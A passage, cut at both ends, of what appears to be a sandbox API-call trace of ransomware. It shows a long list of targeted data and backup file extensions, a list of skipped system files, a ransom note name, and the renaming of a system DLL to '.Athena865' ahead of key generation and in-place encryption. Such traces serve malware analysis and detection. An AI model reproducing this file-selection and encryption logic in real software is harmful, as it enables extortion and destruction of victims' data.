-1 [0117.733] lstrlenW (lpString="odb") returned 3 [0117.733] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0117.733] lstrlenW (lpString="oqy") returned 3 [0117.734] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0117.734] lstrlenW (lpString="ora") returned 3 [0117.734] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0117.734] lstrlenW (lpString="orx") returned 3 [0117.734] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0117.734] lstrlenW (lpString="owc") returned 3 [0117.734] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0117.734] lstrlenW (lpString="p96") returned 3 [0117.734] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0117.734] lstrlenW (lpString="p97") returned 3 [0117.734] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0117.734] lstrlenW (lpString="pan") returned 3 [0117.734] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0117.734] lstrlenW (lpString="pdb") returned 3 [0117.734] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0117.734] lstrlenW (lpString="pdm") returned 3 [0117.734] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0117.734] lstrlenW (lpString="pnz") returned 3 [0117.734] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0117.734] lstrlenW (lpString="qry") returned 3 [0117.734] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0117.734] lstrlenW (lpString="qvd") returned 3 [0117.734] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0117.734] lstrlenW (lpString="rbf") returned 3 [0117.734] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0117.734] lstrlenW (lpString="rctd") returned 4 [0117.734] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0117.734] lstrlenW (lpString="rod") returned 3 [0117.734] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0117.734] lstrlenW (lpString="rodx") returned 4 [0117.735] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0117.735] lstrlenW (lpString="rpd") returned 3 [0117.735] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0117.735] lstrlenW (lpString="rsd") returned 3 [0117.735] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0117.735] lstrlenW (lpString="sas7bdat") returned 8 [0117.735] lstrcmpiW (lpString1="a100.dll", lpString2="sas7bdat") returned -1 [0117.735] lstrlenW (lpString="sbf") returned 3 [0117.735] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0117.735] lstrlenW (lpString="scx") returned 3 [0117.735] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0117.735] lstrlenW (lpString="sdb") returned 3 [0117.735] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0117.735] lstrlenW (lpString="sdc") returned 3 [0117.735] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0117.735] lstrlenW (lpString="sdf") returned 3 [0117.738] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0117.738] lstrlenW (lpString="sis") returned 3 [0117.739] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0117.739] lstrlenW (lpString="spq") returned 3 [0117.739] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0117.739] lstrlenW (lpString="te") returned 2 [0117.739] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0117.739] lstrlenW (lpString="teacher") returned 7 [0117.739] lstrcmpiW (lpString1="100.dll", lpString2="teacher") returned -1 [0117.739] lstrlenW (lpString="tmd") returned 3 [0117.739] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0117.739] lstrlenW (lpString="tps") returned 3 [0117.739] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0117.739] lstrlenW (lpString="trc") returned 3 [0117.739] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0117.739] lstrlenW (lpString="trc") returned 3 [0117.739] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0117.739] lstrlenW (lpString="trm") returned 3 [0117.739] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0117.739] lstrlenW (lpString="udb") returned 3 [0117.739] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0117.739] lstrlenW (lpString="udl") returned 3 [0117.739] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0117.739] lstrlenW (lpString="usr") returned 3 [0117.740] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0117.740] lstrlenW (lpString="v12") returned 3 [0117.740] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0117.740] lstrlenW (lpString="vis") returned 3 [0117.740] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0117.740] lstrlenW (lpString="vpd") returned 3 [0117.740] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0117.740] lstrlenW (lpString="vvv") returned 3 [0117.740] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0117.740] lstrlenW (lpString="wdb") returned 3 [0117.740] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0117.740] lstrlenW (lpString="wmdb") returned 4 [0117.740] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0117.740] lstrlenW (lpString="wrk") returned 3 [0117.740] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0117.740] lstrlenW (lpString="xdb") returned 3 [0117.740] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0117.740] lstrlenW (lpString="xld") returned 3 [0117.740] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0117.740] lstrlenW (lpString="xmlff") returned 5 [0117.740] lstrcmpiW (lpString1="0.dll", lpString2="xmlff") returned -1 [0117.740] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll.Athena865") returned 72 [0117.740] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.athena865"), dwFlags=0x1) returned 1 [0117.745] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0117.745] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=990032) returned 1 [0117.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0117.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0117.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ebb0 [0117.746] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ec38) returned 1 [0117.747] CryptGenRandom (in: hProv=0x54ec38, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0117.747] CryptReleaseContext (hProv=0x54ec38, dwFlags=0x0) returned 1 [0117.747] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf1e50, lpName=0x0) returned 0x154 [0117.750] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf1e50) returned 0x2d50000 [0117.809] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ec38) returned 1 [0117.809] CryptGenRandom (in: hProv=0x54ec38, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0117.809] CryptReleaseContext (hProv=0x54ec38, dwFlags=0x0) returned 1 [0117.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0117.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0117.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0117.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0117.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0117.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0117.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0117.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0117.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0117.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0117.810] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0117.819] CloseHandle (hObject=0x154) returned 1 [0117.820] CloseHandle (hObject=0x17c) returned 1 [0117.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0117.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ebb0 | out: hHeap=0x4f0000) returned 1 [0117.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0117.824] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0117.824] lstrcmpiW (lpString1="msdia90.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.824] lstrcmpiW (lpString1="msdia90.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.824] lstrcmpiW (lpString1="msdia90.dll", lpString2=".") returned 1 [0117.824] lstrcmpiW (lpString1="msdia90.dll", lpString2="..") returned 1 [0117.824] lstrcmpiW (lpString1="msdia90.dll", lpString2="windows") returned -1 [0117.824] lstrcmpiW (lpString1="msdia90.dll", lpString2="bootmgr") returned 1 [0117.824] lstrcmpiW (lpString1="msdia90.dll", lpString2="temp") returned -1 [0117.824] lstrcmpiW (lpString1="msdia90.dll", lpString2="pagefile.sys") returned -1 [0117.824] lstrcmpiW (lpString1="msdia90.dll", lpString2="boot") returned 1 [0117.824] lstrcmpiW (lpString1="msdia90.dll", lpString2="ids.txt") returned 1 [0117.824] lstrcmpiW (lpString1="msdia90.dll", lpString2="ntuser.dat") returned -1 [0117.824] lstrcmpiW (lpString1="msdia90.dll", lpString2="perflogs") returned -1 [0117.824] lstrcmpiW (lpString1="msdia90.dll", lpString2="MSBuild") returned 1 [0117.824] lstrlenW (lpString="msdia90.dll") returned 11 [0117.824] lstrcpyW (in: lpString1=0x241e8ac, lpString2="msdia90.dll" | out: lpString1="msdia90.dll") returned="msdia90.dll" [0117.824] lstrlenW (lpString="msdia90.dll") returned 11 [0117.824] lstrlenW (lpString="Athena865") returned 9 [0117.824] lstrcmpiW (lpString1="dia90.dll", lpString2="Athena865") returned 1 [0117.824] lstrlenW (lpString=".dll") returned 4 [0117.824] lstrcmpiW (lpString1="msdia90.dll", lpString2=".dll") returned 1 [0117.824] lstrlenW (lpString=".lnk") returned 4 [0117.825] lstrcmpiW (lpString1="msdia90.dll", lpString2=".lnk") returned 1 [0117.825] lstrlenW (lpString=".ini") returned 4 [0117.825] lstrcmpiW (lpString1="msdia90.dll", lpString2=".ini") returned 1 [0117.825] lstrlenW (lpString=".sys") returned 4 [0117.825] lstrcmpiW (lpString1="msdia90.dll", lpString2=".sys") returned 1 [0117.825] lstrlenW (lpString="msdia90.dll") returned 11 [0117.825] lstrlenW (lpString="bak") returned 3 [0117.825] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0117.825] lstrlenW (lpString="ba_") returned 3 [0117.825] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0117.825] lstrlenW (lpString="dbb") returned 3 [0117.825] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0117.825] lstrlenW (lpString="vmdk") returned 4 [0117.825] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0117.825] lstrlenW (lpString="rar") returned 3 [0117.825] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0117.825] lstrlenW (lpString="zip") returned 3 [0117.825] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0117.825] lstrlenW (lpString="tgz") returned 3 [0117.825] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0117.825] lstrlenW (lpString="vbox") returned 4 [0117.825] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0117.825] lstrlenW (lpString="vdi") returned 3 [0117.825] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0117.825] lstrlenW (lpString="vhd") returned 3 [0117.825] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0117.825] lstrlenW (lpString="vhdx") returned 4 [0117.825] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0117.825] lstrlenW (lpString="avhd") returned 4 [0117.825] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0117.826] lstrlenW (lpString="db") returned 2 [0117.826] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0117.826] lstrlenW (lpString="db2") returned 3 [0117.826] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0117.826] lstrlenW (lpString="db3") returned 3 [0117.826] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0117.826] lstrlenW (lpString="dbf") returned 3 [0117.826] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0117.826] lstrlenW (lpString="mdf") returned 3 [0117.826] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0117.826] lstrlenW (lpString="mdb") returned 3 [0117.826] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0117.826] lstrlenW (lpString="sql") returned 3 [0117.826] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0117.826] lstrlenW (lpString="sqlite") returned 6 [0117.826] lstrcmpiW (lpString1="90.dll", lpString2="sqlite") returned -1 [0117.826] lstrlenW (lpString="sqlite3") returned 7 [0117.826] lstrcmpiW (lpString1="a90.dll", lpString2="sqlite3") returned -1 [0117.826] lstrlenW (lpString="sqlitedb") returned 8 [0117.826] lstrcmpiW (lpString1="ia90.dll", lpString2="sqlitedb") returned -1 [0117.826] lstrlenW (lpString="xml") returned 3 [0117.826] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0117.826] lstrlenW (lpString="$er") returned 3 [0117.826] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0117.826] lstrlenW (lpString="4dd") returned 3 [0117.826] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0117.826] lstrlenW (lpString="4dl") returned 3 [0117.826] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0117.826] lstrlenW (lpString="^^^") returned 3 [0117.827] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0117.827] lstrlenW (lpString="abs") returned 3 [0117.827] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0117.827] lstrlenW (lpString="abx") returned 3 [0117.827] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0117.827] lstrlenW (lpString="accdb") returned 5 [0117.827] lstrcmpiW (lpString1="0.dll", lpString2="accdb") returned -1 [0117.827] lstrlenW (lpString="accdc") returned 5 [0117.827] lstrcmpiW (lpString1="0.dll", lpString2="accdc") returned -1 [0117.827] lstrlenW (lpString="accde") returned 5 [0117.827] lstrcmpiW (lpString1="0.dll", lpString2="accde") returned -1 [0117.827] lstrlenW (lpString="accdr") returned 5 [0117.827] lstrcmpiW (lpString1="0.dll", lpString2="accdr") returned -1 [0117.827] lstrlenW (lpString="accdt") returned 5 [0117.827] lstrcmpiW (lpString1="0.dll", lpString2="accdt") returned -1 [0117.827] lstrlenW (lpString="accdw") returned 5 [0117.827] lstrcmpiW (lpString1="0.dll", lpString2="accdw") returned -1 [0117.827] lstrlenW (lpString="accft") returned 5 [0117.827] lstrcmpiW (lpString1="0.dll", lpString2="accft") returned -1 [0117.827] lstrlenW (lpString="adb") returned 3 [0117.827] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0117.827] lstrlenW (lpString="adb") returned 3 [0117.827] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0117.827] lstrlenW (lpString="ade") returned 3 [0117.827] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0117.827] lstrlenW (lpString="adf") returned 3 [0117.827] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0117.827] lstrlenW (lpString="adn") returned 3 [0117.827] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0117.828] lstrlenW (lpString="adp") returned 3 [0117.828] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0117.828] lstrlenW (lpString="alf") returned 3 [0117.828] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0117.828] lstrlenW (lpString="ask") returned 3 [0117.828] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0117.828] lstrlenW (lpString="btr") returned 3 [0117.828] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0117.828] lstrlenW (lpString="cat") returned 3 [0117.828] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0117.828] lstrlenW (lpString="cdb") returned 3 [0117.828] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0117.828] lstrlenW (lpString="ckp") returned 3 [0117.828] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0117.828] lstrlenW (lpString="cma") returned 3 [0117.828] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0117.828] lstrlenW (lpString="cpd") returned 3 [0117.828] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0117.828] lstrlenW (lpString="dacpac") returned 6 [0117.828] lstrcmpiW (lpString1="90.dll", lpString2="dacpac") returned -1 [0117.828] lstrlenW (lpString="dad") returned 3 [0117.828] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0117.828] lstrlenW (lpString="dadiagrams") returned 10 [0117.828] lstrcmpiW (lpString1="sdia90.dll", lpString2="dadiagrams") returned 1 [0117.828] lstrlenW (lpString="daschema") returned 8 [0117.828] lstrcmpiW (lpString1="ia90.dll", lpString2="daschema") returned 1 [0117.828] lstrlenW (lpString="db-journal") returned 10 [0117.828] lstrcmpiW (lpString1="sdia90.dll", lpString2="db-journal") returned 1 [0117.828] lstrlenW (lpString="db-shm") returned 6 [0117.828] lstrcmpiW (lpString1="90.dll", lpString2="db-shm") returned -1 [0117.829] lstrlenW (lpString="db-wal") returned 6 [0117.829] lstrcmpiW (lpString1="90.dll", lpString2="db-wal") returned -1 [0117.829] lstrlenW (lpString="dbc") returned 3 [0117.829] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0117.829] lstrlenW (lpString="dbs") returned 3 [0117.829] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0117.829] lstrlenW (lpString="dbt") returned 3 [0117.829] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0117.829] lstrlenW (lpString="dbv") returned 3 [0117.829] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0117.829] lstrlenW (lpString="dbx") returned 3 [0117.829] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0117.829] lstrlenW (lpString="dcb") returned 3 [0117.829] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0117.829] lstrlenW (lpString="dct") returned 3 [0117.829] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0117.829] lstrlenW (lpString="dcx") returned 3 [0117.829] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0117.829] lstrlenW (lpString="ddl") returned 3 [0117.829] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0117.829] lstrlenW (lpString="dlis") returned 4 [0117.829] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0117.829] lstrlenW (lpString="dp1") returned 3 [0117.829] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0117.829] lstrlenW (lpString="dqy") returned 3 [0117.829] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0117.829] lstrlenW (lpString="dsk") returned 3 [0117.830] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0117.830] lstrlenW (lpString="dsn") returned 3 [0117.830] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0117.830] lstrlenW (lpString="dtsx") returned 4 [0117.830] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0117.830] lstrlenW (lpString="dxl") returned 3 [0117.830] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0117.830] lstrlenW (lpString="eco") returned 3 [0117.830] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0117.830] lstrlenW (lpString="ecx") returned 3 [0117.830] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0117.830] lstrlenW (lpString="edb") returned 3 [0117.830] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0117.830] lstrlenW (lpString="epim") returned 4 [0117.830] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0117.830] lstrlenW (lpString="fcd") returned 3 [0117.830] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0117.830] lstrlenW (lpString="fdb") returned 3 [0117.830] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0117.830] lstrlenW (lpString="fic") returned 3 [0117.830] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0117.830] lstrlenW (lpString="flexolibrary") returned 12 [0117.830] lstrlenW (lpString="fm5") returned 3 [0117.830] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0117.830] lstrlenW (lpString="fmp") returned 3 [0117.830] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0117.830] lstrlenW (lpString="fmp12") returned 5 [0117.830] lstrcmpiW (lpString1="0.dll", lpString2="fmp12") returned -1 [0117.830] lstrlenW (lpString="fmpsl") returned 5 [0117.831] lstrcmpiW (lpString1="0.dll", lpString2="fmpsl") returned -1 [0117.831] lstrlenW (lpString="fol") returned 3 [0117.831] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0117.831] lstrlenW (lpString="fp3") returned 3 [0117.831] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0117.831] lstrlenW (lpString="fp4") returned 3 [0117.831] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0117.831] lstrlenW (lpString="fp5") returned 3 [0117.831] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0117.831] lstrlenW (lpString="fp7") returned 3 [0117.831] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0117.831] lstrlenW (lpString="fpt") returned 3 [0117.831] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0117.831] lstrlenW (lpString="frm") returned 3 [0117.831] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0117.831] lstrlenW (lpString="gdb") returned 3 [0117.831] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0117.831] lstrlenW (lpString="gdb") returned 3 [0117.831] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0117.831] lstrlenW (lpString="grdb") returned 4 [0117.831] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0117.831] lstrlenW (lpString="gwi") returned 3 [0117.831] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0117.831] lstrlenW (lpString="hdb") returned 3 [0117.831] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0117.831] lstrlenW (lpString="his") returned 3 [0117.831] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0117.831] lstrlenW (lpString="ib") returned 2 [0117.832] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0117.832] lstrlenW (lpString="idb") returned 3 [0117.832] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0117.832] lstrlenW (lpString="ihx") returned 3 [0117.832] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0117.832] lstrlenW (lpString="itdb") returned 4 [0117.832] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0117.832] lstrlenW (lpString="itw") returned 3 [0117.832] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0117.832] lstrlenW (lpString="jet") returned 3 [0117.832] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0117.832] lstrlenW (lpString="jtx") returned 3 [0117.832] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0117.832] lstrlenW (lpString="kdb") returned 3 [0117.832] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0117.832] lstrlenW (lpString="kexi") returned 4 [0117.832] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0117.832] lstrlenW (lpString="kexic") returned 5 [0117.832] lstrcmpiW (lpString1="0.dll", lpString2="kexic") returned -1 [0117.832] lstrlenW (lpString="kexis") returned 5 [0117.832] lstrcmpiW (lpString1="0.dll", lpString2="kexis") returned -1 [0117.832] lstrlenW (lpString="lgc") returned 3 [0117.832] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0117.832] lstrlenW (lpString="lwx") returned 3 [0117.832] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0117.832] lstrlenW (lpString="maf") returned 3 [0117.832] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0117.832] lstrlenW (lpString="maq") returned 3 [0117.832] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0117.832] lstrlenW (lpString="mar") returned 3 [0117.833] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0117.833] lstrlenW (lpString="marshal") returned 7 [0117.833] lstrcmpiW (lpString1="a90.dll", lpString2="marshal") returned -1 [0117.833] lstrlenW (lpString="mas") returned 3 [0117.833] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0117.833] lstrlenW (lpString="mav") returned 3 [0117.833] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0117.833] lstrlenW (lpString="maw") returned 3 [0117.833] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0117.833] lstrlenW (lpString="mdbhtml") returned 7 [0117.833] lstrcmpiW (lpString1="a90.dll", lpString2="mdbhtml") returned -1 [0117.833] lstrlenW (lpString="mdn") returned 3 [0117.833] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0117.833] lstrlenW (lpString="mdt") returned 3 [0117.833] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0117.833] lstrlenW (lpString="mfd") returned 3 [0117.833] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0117.833] lstrlenW (lpString="mpd") returned 3 [0117.833] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0117.833] lstrlenW (lpString="mrg") returned 3 [0117.833] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0117.833] lstrlenW (lpString="mud") returned 3 [0117.833] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0117.833] lstrlenW (lpString="mwb") returned 3 [0117.833] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0117.833] lstrlenW (lpString="myd") returned 3 [0117.833] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0117.833] lstrlenW (lpString="ndf") returned 3 [0117.833] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0117.833] lstrlenW (lpString="nnt") returned 3 [0117.834] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0117.834] lstrlenW (lpString="nrmlib") returned 6 [0117.834] lstrcmpiW (lpString1="90.dll", lpString2="nrmlib") returned -1 [0117.834] lstrlenW (lpString="ns2") returned 3 [0117.834] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0117.834] lstrlenW (lpString="ns3") returned 3 [0117.834] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0117.834] lstrlenW (lpString="ns4") returned 3 [0117.834] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0117.834] 